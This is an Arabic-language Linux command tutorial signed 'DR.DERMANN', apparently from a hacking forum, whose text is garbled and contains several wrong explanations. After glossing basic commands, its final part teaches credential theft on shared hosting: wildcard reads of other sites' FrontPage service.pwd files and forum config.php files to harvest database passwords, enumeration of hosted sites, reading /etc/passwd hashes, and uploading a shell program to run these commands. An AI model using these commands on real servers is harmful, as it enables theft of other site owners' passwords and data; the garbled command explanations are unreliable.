بسم ال الرحمن الرحيم
سوف نتعلم بعض اوامر لينكس الهامة وشرح لهذه الوامر
واهم أوامر
1 .cat
2 .cd
3 .cp
4 .find
5 .grep
6 .rm
7 .tar
8 .vi
9 .ls
10 .more
DR.DERMANN
نبداء بشرح الوامر
:المر نقطه ).(
تنفيذ جميع الوامر الموجودة بملف
(home).مثال لكتابة المر
)&(
backgroundإذا قمت بكتابة المر بعد يقوم بتشغيل البرنامج أو تنفيذ المر في الخلفية & المر
&johnمثال عليه برنامج جون
(adduser)
واضح من اسم المر لضافة مستخدمين جدد( root)طبعا لزم تكون روت
adduser: مثال DRDERMANN
(alias)
يستخدم المر لنشاء اختصارات للوامر
(ما فهمت المر إلى ألن ول عطيتكم مثال عليه )
(apropos)
وما يقوم به هو البحث عن نص معين أو كلمه معينه مثل البحث بملف manيقوم بالبحث بصفحات بالورد فبمايكروسوفت اوفيس
DR.DERMANN
((banner
يقوم بإظهار لفتة نصيه
(bg)
.يستخدم المر لتشغيل عمليه قمت بتعطيلها بالخلفية
:مثال
شغل برنامج جون بالخلفية
John&
البرنامج شغال معك بالخلفية الحين
bgتعطله أو تعلقه موقت طبعا تستخدم المر
تعليق البرنامج إلي بالخلفية
Ctrl+Z
bgوالوقت أيلي تبغي تشغله فيه بالخلفية اكتب المر
(bind)
ما توقع أحد يحتاجه يقوم المر بتغير سلوك المفاتيح
DR.DERMANN
(cat)
يقوم المر بعرض محتويات ملف معين
مثال واحد أرسلك سير فر تقدر تعرف محتويات السير فر وبيناته بالمر
:طريقة كتابته
Cat filename
(cd)
changeاختصار عبارة directory يعني تغير الدليل
باختصار النتقال بين الملفات
Cd file name بغيرك لملف ألي تبغا على طول
Cd .. or cd ..ترجعك للملف الي قبله
Cd or cd ~ ترجعك للملف الرئيسيhome
(chgrp)
يستخدم لتغير مجموعه بصلحية الملفات
Chgrp new group file
(chmod)
يستخدم المر لتغير الصلحيات وهناك طريقتين للتغير أما حرفي أو رقمي
بس في شرح بسيط لستخدام المر
DR.DERMANN
لمنح المستخدم و المجموعة خاصية قراءة وتنفيذ مثل نكتب المر كذا
Chmod ug+rx user
للغاء الخاصية
Chmod ug- rx user
)+ \ - (ل حظو الفرق بالمر
طبعا هذا اهم شي بالمر
(chown)
يستخدم المر لتغير معرف المستخدم
طريقة آلم
Chown user filename
طبعا ما فهمت المر مضبوط أنا بس أيلي فهمته انه يخلي اليوزر أيلي تحدد اسمه بالملف قادر علىانه يتصفح ملفاتك
(cp)
يسمح المر بنسخ الغلاض أو الملفات copyاختصار كلمة
(dd)
نسخ الملفات وتحويلها من صيغه ألي أخرى
DR.DERMANN
(env)
عرض المتحولت وينتج عن تنفيذه مودين واحد يمين والثاني يسار
اسم المتحول على اليسار والقيمه حقته على اليمين
(fc)
historyتحرير ملف تاريخ سطر الوامر file
(fg)
bgيسمح بتشغيل العمليات المعلقة مثل المر
بس تقدر تستخدم المر في الخلفية أو في الواجهة
(file)
طباعة نوع الملفات‘
(find)
طبعا واضح من اسم المر ول يحتاج له شرح
طريقة تنفيذه كذا
Find .-name *.c –print
ببحث عن ملفات المكتوبة بلغة السي
(ftp)
واضح أيضا أستخدم الف تي بي مثل الويندوز
DR.DERMANN
(grep)
يقوم بالبحث عن نص معين في الملف ألي تحدده
Grep textfile
(gruff)
المر هذا عبارة عن واجهه لتنسيق الوثاق أو الملفات
(gzip)
برنامج ضغط
gzipتنفيذه filename
(gunzip)
gzipفك ضغط ملفات
gunzipتنفيذه
(halt)
يطلب المر من الكير نيل إيقاف عمل النظام طبعا ألي يستخدمه المستخدم الرووت فقط
(hostname)
اسم المضيف او تعين اسم لمضيف الجهاز
(kill)
انهاء عمل برنامج طريقة تنفيذه
Kill -9 unUn رقم العملية
DR.DERMANN
(less)
مستعرض صفحات
(locate)
Locate filename
Login
لدخول النظام
Logout
يستخدم لخروج المستخدم الحالي
Killall
لنهاء مل جميع العمليات
(ps)
killيعطيك رقم العملية إذا كنت بتتخدم المر
وتلغي عمليه وحده
(lpc)
للتحكم بعمل نظام الطابعات
DR.DERMANN
(lpd)
ل استقبال طلبات طباعة الملفات
(lpq)
يقوم المر بتفحص منطقة التحضير للطباعة
(lpr}
يقوم المر بالتحضير للطباعة
(ls)
يعرض المر قائمة بمحتويات ملف معين
(make)
تحديد أجزاء البرامج الكبيرة وتستخدمه إذا كنت تبغي تركب برنامج
Make
Su
Make install
(man)
عرض ملفات التشغيل أو الهلب
DR.DERMANN
(mesg)
للتحكم بصلحيات الكتابة الممنوحة لباقي المستخدمين
(mkdir)
إنشاء ملف
(mkfs)
لبناء نظام ملفات جديد على الهارد ديسك
(mkswaop)
إعادة منطقة الخاصة بلينكس
(more)
مرشح الستعراض صفحات النصوص
(mount)
لربط نظام ملفات معين بلينكس مثل الويندوز
(mv)
لنقل ملف معين من موقع ألي أخر
DR.DERMANN
(netstat)
يعرض اتصالت الشبكة
(passwd)
لتغير كلمة المرور الحالية
(pwd)
عرض الملف ألي أنت متواجد فيه
(rm)
حذف ملف
Rm file name
(rmdir)
حذف ملف
DR.DERMANN
(set)
تغير المتحولت بشكل مؤقت
(shutdown)
إيقاف عمل النظام
Shutdown now
(su)
يطلب منك باسورد لتغير حالتك من مستخدم عادي الى روت
(swapoff)
يوقف التبادل مع أي جهاز أخر
(swapon)
عكس لمر السابق
DR.DERMANN
(tail)
يطبع المر أخر عشر اسطر من ملف معين
(talk)
لجراء حوار مع مستخدم أخر
(tar)
برنامج لرشفة الملفات
(telnet)
التصال بجهاز أخر
(top)
العمليات التي يجرى تشغيلها على الجهاز
Umount
ل إلغاء تركيب أل نظمه
DR.DERMANN
(unalias)
إلغاء اللقاب
(unzip)
يقوم بعرض الملفات المضغوطة في ملف مضغوط
(userdel)
حذف مستخدم
(wall)
عرض محتويات الدخل النظامي وعرض أعمالهم
(who)
عرض المتواجدون بالنظام ونوع دخولهم يعني بال اف تي بي أو الشل
DR.DERMANN
(write)
إرسال رسالة ألي شاشة المستخدم الخر
(xhost)
يقدم وسيله للتحكم بالبرامج ألي تتوصل بالجهاز
+Xhostنوع البرنامج
أو
-Xhostنوع النظام
(xmkmf)
lmakefileويستخدم لنشاء ملفات
(xset)
x windowلتعيين بعض الخيارات الخاصة
(zip)
عرض محتويات ملف أرشيف وإضافة الملفات أليه
(gcc)
لعمل كومبايل لملفات السي
DR.DERMANN
(wget)
جلب الملفات
شرح اخر لوامر الشل
المر
وظيفة المر
ls
استعراض الملفات والمجلدات
Ls -la
استعراض جميع الملفات على المجلد الذي انته بداخله من صلحيات
اظهار الملفات المخفيه+ المجلد ووقت انشاء الملفات
mkdir
DR.DERMANN
انشاء مجلد جديد
man
أمر المساعدة
help
ايضاا امر مساعده
edit
أمر التعديل
who
أمر المتصلين على السيرفر
cd
امر الدخول الى المجلدات
rm
امر الحذف
rm -rf
DR.DERMANN
مسح مجلد ويلي فيه
qzip
أمر ضغط الملفات
unzip
أمر فك الضغط
tar -czvf
امر ضغط اخر
tar -zxvf
فك ضغط المر يلي قبله
uname -a
معرفه اصدار الكيرنال للسيرفر ونوعيه النظام
wget
أمر سحب الملفات للموقع
DR.DERMANN
curl
أمر السحب الثاني
*
ترمز النجمه للكل
pwd
تحديد مكانك على السيرفر
chmod
اعطاء التصاريح
;
ربط الوامر
/.
امر تشغيل أي ملف في بيئه لينكس
logout
لعلن الخروج من النظام
DR.DERMANN
su
SuperUserالدخول الى الرووت وهوه اختصار
&
امر عمل البرنامج المحدد في الخلفيه
المر
وظيفه المر
adduser
ستعمل هذا المر لنشا ء حساب مستخدم جديد
cp
نسخ ملفات
mv
اعاده تسميه
mv
DR.DERMANN
تستخدم ايضاا بنقل الملفات مثلا
mv filename.tar.gz /home/user /public_html
ps -aux
تشيك البروسيسور
touch
لنشاء نصوص
find
للبحث عن ملفات
locate
امر ايضاا للبخث وهوه اسرع من المر السابق
gcc
اداه لترجمه النصوص البرمجيه وتستخدم في الكومبايل للثغرات يلي مكتوبه بلغه السي
G++
DR.DERMANN
اداه اخرى لترجمه النصوص المكتوبه بلغه السي بلس بلس
whoami
لعرض المتصلين بالسيرفر
crypt
لتشفير و فك تشفير الملفات
cu
لطلب تريمنال يونكس اخر
echo
امر طباعه
grep
يستخدم للبحث عن شي داخل ملف
kill
DR.DERMANN
لنهاء عمليه
pstat
لعرض حالة النظام
((اوامر اخرى عامه))
cat
لعرض محتوى اكثر من ملف مع بعض
cd
لتغير الدليل الذي انت عليه
chmod
لتغير تصريح دخلول ملف معين
chown
لتغير مالك ملف معين
clear
لمسح كل الذي على الشاشة
DR.DERMANN
cmp
لمقارنة ملفين
cp
لنسخ الملفات
crypt
لتشفير و فك تشفير الملفات
csplit
لتقسيم الملف الى عدة ملفات
file
للتقرير عن نوع ملف
find
DR.DERMANN
للبحث عن ملفات
finger
تقرير عن مستخدم
grep
يستخدم للبحث عن شئ داخل ملف
kill
وهنا اشرح لكم اهم اوامر الشيل
cat /home/*/public_html/_vti_pvt/service.pwd
لجلب باسوردات المشفره ويوزر نيم
cat /home/*/public_html/_vti_pvt/access.cnf
DR.DERMANN
والثاني يوزر نيم والموقع
ls /var/named
وهو لستعراض المواقع علي الموجوده علي السيرفر
خاص لتشييك على البروسيسور
ps -aux
.تعديل ملف
مثل لتعديل الملف ضع المر
pico filename
filenamr : اسم الملف المراد تعديله
سوف يفتح محرر النصوص
حرر ما ترغب به وأضغط
ctrl x
لعدم الحفظ noللحفظ yesثم أختر
DR.DERMANN
سحب ملف
wget http:/ /www.domain.com/filename.zip
فتح مجلد
cd folder name
(folder name ) اسم الملف
سحب مجلد
rm -rf folder
لنسخ ملفات
cp -r /home/user1/public_html/filename /home/user2/public_html/
لنقل الملفات
mv filename.tar.gz /home/user /public_html
لعمل باك من قاعدة
DR.DERMANN
mysqldump -u root -p --all-databases > alrudbs207.sql
ملكية الشخص
chown -R user /home/user
لستعراض ما بداخل المجلد
ls
لضغط
tar -czvf filename.tar.gz filename
أعطاء تصريح المرغوب به
chmod 644 file.tar.gz
لخراج المواقع اللى على السيرفر
cat /etc/httpd /conf /httpd.conf
المر
cat /home/*/public_html/_vti_pvt/service.pwd
أمر جلب باسوردات المواقع التي تستخدم الفرونت بيج
المر
cat /home/*/public_html/_vti_pvt/access.cnf
DR.DERMANN
أمر معرفة أسامي المواقع التي تستخدم الفرونت بيج
المر
cat /home/*/public_html/*/admin/config.php
cat /home/*/public_html/*/admincp /config.php
للبرامج المثبته على المواقع مثل config.phpأمر عرض ملفات الــ
configالمنتديات والمجلت وغيرها ممن تستخدم ملفات الــ
أمر
cat /etc/domainalias
عرض المواقع مع أسامي المستخدمين
أمر
find / -name config.php
config.phpالبحث عن جميع الملفات التي إسمها
وستطيع البحث في هذا المر عن أي ملف تريد
أمر
DR.DERMANN
cat /etc/passwd
يظهر جميع باسوردات المواقع التي على السيرفر
وإذا كان اللي ظهر لك بالطريقه هذي
carlos:vmYQDR1pWRVLE
إسم الموقع carlosمعناها ان
هو الباسورد المشفر vmYQDR1pWRVLEوإن
أما إن طلع لك بالطريقه هذي
carlos:x
ان الباسورد مخفي وما تقدر تشوفه xفمعنى الــ
الن شرح للوامر التي ذكرناها
cat /home/*/public_html/*/admin/config.php
cat أمر عرض ملفات دفعه واحده
home المجلد الذي يوضع فيه المواقع
مكان إسم الموقع واستبدلناه بالنجمه حتى يظهر لنا الجميع*
public_html المجلد الرئيسي الذي يوضع فيه ملفات المواقع
إسم المجلد الذي يوضع فيه البرامج مثل المنتديات والمجلدات وغيرها*
DR.DERMANN
واستبدلناه بالنجمة حتى يظهر الجميع
admin إسم مجلد لوحة التحكم
config.php الملف الذي يوضع فيه بيانات قاعدة البيانات
وباقي الوامر شرحها شبيه بالشرح هذا
مع العلم أن أسامي المجلدات من الممكن أن تكون مختلفه أو أن يتم تغييرها
ايهذه الطريقة يمكنك معرفه باسوورد قاعدة بيانات المنتديات في نفس السيرفر المستضيف لموقعك-publicمن خلل ملفات الكونفجو ما عليك الن ان تحمل هذا البرنامج تقوم برفعه على مجلد html
من هنا
.ثم قم بكتابة احد هذه السطر في خانه الوامر
cat /home/*/public_html/vb/admin /config.php
cat /home/*/public_html/phpbb /config.php
cat /home/*/public_html/forum/config.php
---------------------------------------------
تعني جميع ملفات هذا السيرفر* وايضا يمكنك التعديل عليها لتناسب مجلدات المنتديات حيث
DR.DERMANN
التصريحات
400
r--------
444
r--r--r--
600
rw-------
644
rw-r--r--
664
rw-rw-r--
666
rw-rw-rw-
700
rwx------
750
rwxr-x---
755
rwxr-xr-x
777
rwxrwxrwx
DR.DERMANN
a = all
r = read
w = write
o = others
g = group
u = user
x = excute
اضافة صلحية+ =
سحب صلحية- =
DR.DERMANN